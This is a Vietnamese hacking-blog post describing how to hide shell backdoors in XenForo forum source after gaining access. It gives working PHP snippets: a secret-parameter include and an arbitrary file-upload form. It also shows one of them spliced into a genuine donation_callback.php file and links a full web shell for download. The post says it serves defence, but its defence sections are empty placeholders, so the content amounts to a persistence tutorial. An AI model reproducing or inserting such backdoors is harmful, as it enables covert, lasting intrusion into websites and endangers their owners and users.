Phương pháp Include shell trong source XenForo và cách phòng chống ~ Blog Hacking Security | Blog Thủ Thuật | Blog UG Phương pháp Include shell trong source XenForo và cách phòng chống

Wednesday, May 22, 2013

Phương pháp Include shell trong source XenForo và cách phòng chống



Phương pháp Include shell trong source XenForo và cách phòng chống
Trong bài viết hôm nay mình sẽ trình bày về phương pháp chèn Shell trong source XenForo và các phòng chống. Bài viết sẽ giúp tăng cường bảo mật cho forum XenForo của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào website, để từ đó có cách phòng tránh.
Lưu ý: Trong bài viết có hướng dẫn phương pháp Include shell, tuy nhiên mình không khuyến khích các bạn dựa vào đó để thực hiện ý đồ xấu. Cái gì cũng có cái lợi và cái hại của nó. Mình sẽ không chịu bất kỳ trách nhiệm nào nếu bạn sử dụng tut này với mục đích không tốt.
I. Phương diện Hacker.
Bỏ qua việc làm thế nào hacker có thể vào được Admin CP và có shell trên Host của bạn. Ở đây, mình chỉ đề cập đến các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể sử dụng trong những cuộc tấn công tiếp theo.
1. Phương pháp 1: Chèn shell bằng cách sửa file .php trên host.
- Tìm những file mà admin ít để ý đến để chèn 1 trong các đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
Code 1: Include 1 file shell
Mã:
if ($_REQUEST['do']=="Alucar") {  include ("alucar.php");  }
Code 2: Include 1 code có chức năng Upload một file từ máy tính lên host
Mã:
if($_REQUEST['do']=='Alucar')
{
    $files = @$_FILES["files"];
    if($files["name"] != ''){
        $fullpath = $_REQUEST["path"].$files["name"];
        if(move_uploaded_file($files['tmp_name'],$fullpath)){
            echo "<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
        } 
    }
echo '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Up"></form></body>';
exit("");
}
Code 3: Include trực tiếp shell (ở đây mình dùng con shell chưa được mã hoá)
Do code quá dài nên các bạn xem ở http://www.mediafire.com/view/?l7fb9n96p30k28p và copy nội dung vào file muốn chèn shell.
Ví dụ mình sử dụng Code 2 và chèn vào file donation_callback.php như sau:
Mã:
 <?php
if($_REQUEST['do']=='Alucar')
{
    $files = @$_FILES["files"];
    if($files["name"] != ''){
        $fullpath = $_REQUEST["path"].$files["name"];
        if(move_uploaded_file($files['tmp_name'],$fullpath)){
            echo "<h1><a href='$fullpath'>Upload successful. Click here!</a></h1>";
        }
    }
echo '<body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path>
<input type="file" name="files"><input type=submit value="Up"></form></body>';
exit("");
}
$startTime = microtime(true);
$fileDir = dirname(__FILE__);

require($fileDir . '/library/XenForo/Autoloader.php');
XenForo_Autoloader::getInstance()->setupAutoloader($fileDir . '/library');

XenForo_Application::initialize($fileDir . '/library', $fileDir);
XenForo_Application::set('page_start_time', $startTime);

$response = new Zend_Controller_Response_Http();
$processor = new EWRporta_Block_Donations();
$processor->initCallbackHandling(new Zend_Controller_Request_Http());

$logExtra = array();

try
{
    if (!$processor->validateRequest($logMessage))
    {
        $logType = 'error';

        $response->setHttpResponseCode(500);
    }
    else if (!$processor->validatePreConditions($logMessage))
    {
        $logType = 'error';
    }
    else
    {
        list($logType, $logMessage) = $processor->processTransaction();
    }
}
catch (Exception $e)
{
    $response->setHttpResponseCode(500);
    XenForo_Error::logException($e);

    $logType = 'error';
    $logMessage = 'Exception: ' . $e->getMessage();
    $logExtra['_e'] = $e;
}

$processor->log($logType, $logMessage, $logExtra);

$response->setBody(htmlspecialchars($logMessage));
$response->sendResponse(); 
Đây là kết quả lần lượt với code 1 và 2

2. Phương pháp 2: Chèn shell qua Add-ons
updating…
3. Phương pháp 3: Chèn shell qua Styles
updating
VietXFR

Newer Post Older Post Home

0 comments:

Post a Comment